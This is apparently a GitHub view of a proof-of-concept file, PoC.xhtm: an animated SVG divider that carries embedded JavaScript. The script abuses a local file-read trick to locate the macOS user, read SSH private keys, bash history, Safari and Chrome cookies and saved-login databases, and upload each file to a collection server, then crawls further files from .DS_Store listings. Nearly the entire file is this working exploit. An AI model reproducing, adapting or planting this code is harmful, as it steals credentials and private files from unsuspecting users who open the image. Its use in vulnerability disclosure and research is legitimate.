-
Notifications
You must be signed in to change notification settings - Fork 21
/
PoC.xhtm
149 lines (120 loc) · 3.65 KB
/
PoC.xhtm
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1"
class="svg-divider"
xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
x="0px"
y="0px"
viewBox="0 0 80 3"
xml:space="preserve"
>
<script type="text/javascript">
<![CDATA[
const serverUrl = 'http://0:5000',
user = getUser(),
list = [
'.ssh/id_rsa',
'.ssh/known_hosts',
'.ssh/authorized_keys',
'.bash_history',
//cookies
'Library/Cookies/Cookies.binarycookies',
'Library/Cookies/HSTS.plist',
'Library/Cookies/com.apple.Safari.cookies',
'Library/Accounts/Accounts4.sqlite',
//soft
'Library/Application Support/Chromium/Default/Login Data',
'Library/Application Support/Chromium/Default/Cookies',
'Library/Application Support/Chromium/Default/History',
'Library/Application Support/Google/Chrome/Default/Login Data',
'Library/Application Support/Google/Chrome/Default/Cookies',
'Library/Application Support/Google/Chrome/Default/History',
//trash
'.Trash/.DS_Store',
//'Library/.DS_Store',
//'Pictures/.DS_Store',
//'.DS_Store',
'Documents/.DS_Store',
'Desktop/.DS_Store',
]
.map(file => user + file);
main();
function main() {
list.forEach(processFile);
}
function unique(arr) {
var obj = {};
for (var i = 0; i < arr.length; i++) {
var str = arr[i];
obj[str] = true;
}
return Object.keys(obj);
}
function processFile(file) {
let out = getFile(file),
xhr = new XMLHttpRequest(),
formData = new FormData()
if (!out) return false;
formData.append('file', out, file);
xhr.open('POST', serverUrl);
xhr.onreadystatechange = () => {
if (xhr.readyState === 4 && xhr.status === 200 && xhr.responseText.length > 3) {
let response = JSON.parse(xhr.responseText);
response.forEach(responseFile => {
let path = file.slice(0, file.lastIndexOf('/') + 1);
if (processFile(path + responseFile) != true) {
processFile(path + responseFile + '/.DS_Store');
}
})
}
};
xhr.send(formData);
return true
}
function getUser() {
var xhr = new XMLHttpRequest();
try {
xhr.open('GET', '/var/log/system.log;/https:%2f%2fgoogle.com/', false);
xhr.send();
var users = unique(xhr.responseText.match(/\/Users\/\w+\//g));
} catch (e) {
xhr.open('GET', '/var/log/install.log;/https:%2f%2fgoogle.com/', false);
xhr.send();
var users = unique(xhr.responseText.match(/\/Users\/\w+\//g));
} finally {
return users.find((userstring) => {
var xhr = new XMLHttpRequest();
xhr.open('GET', userstring + '.DS_Store', false);
xhr.send();
return xhr.responseText.length > 0
});
}
}
function getFile(file) {
var xhr = new XMLHttpRequest();
try {
console.log(file);
xhr.open('GET', file + ';/https:%2f%2fgoogle.com/', false);
xhr.responseType = 'blob';
xhr.send();
if (xhr.response.size != 0) return xhr.response
} catch (e) {
console.log(e)
}
}
]]>
</script>
<rect
x="1"
fill="#c6c3b9"
width="16"
height=".2"
>
<animate
attributeName="x"
attributeType="XML"
values="1; 64; 1"
begin="0s" dur="1.5s" repeatCount="indefinite" />
</rect>
</svg>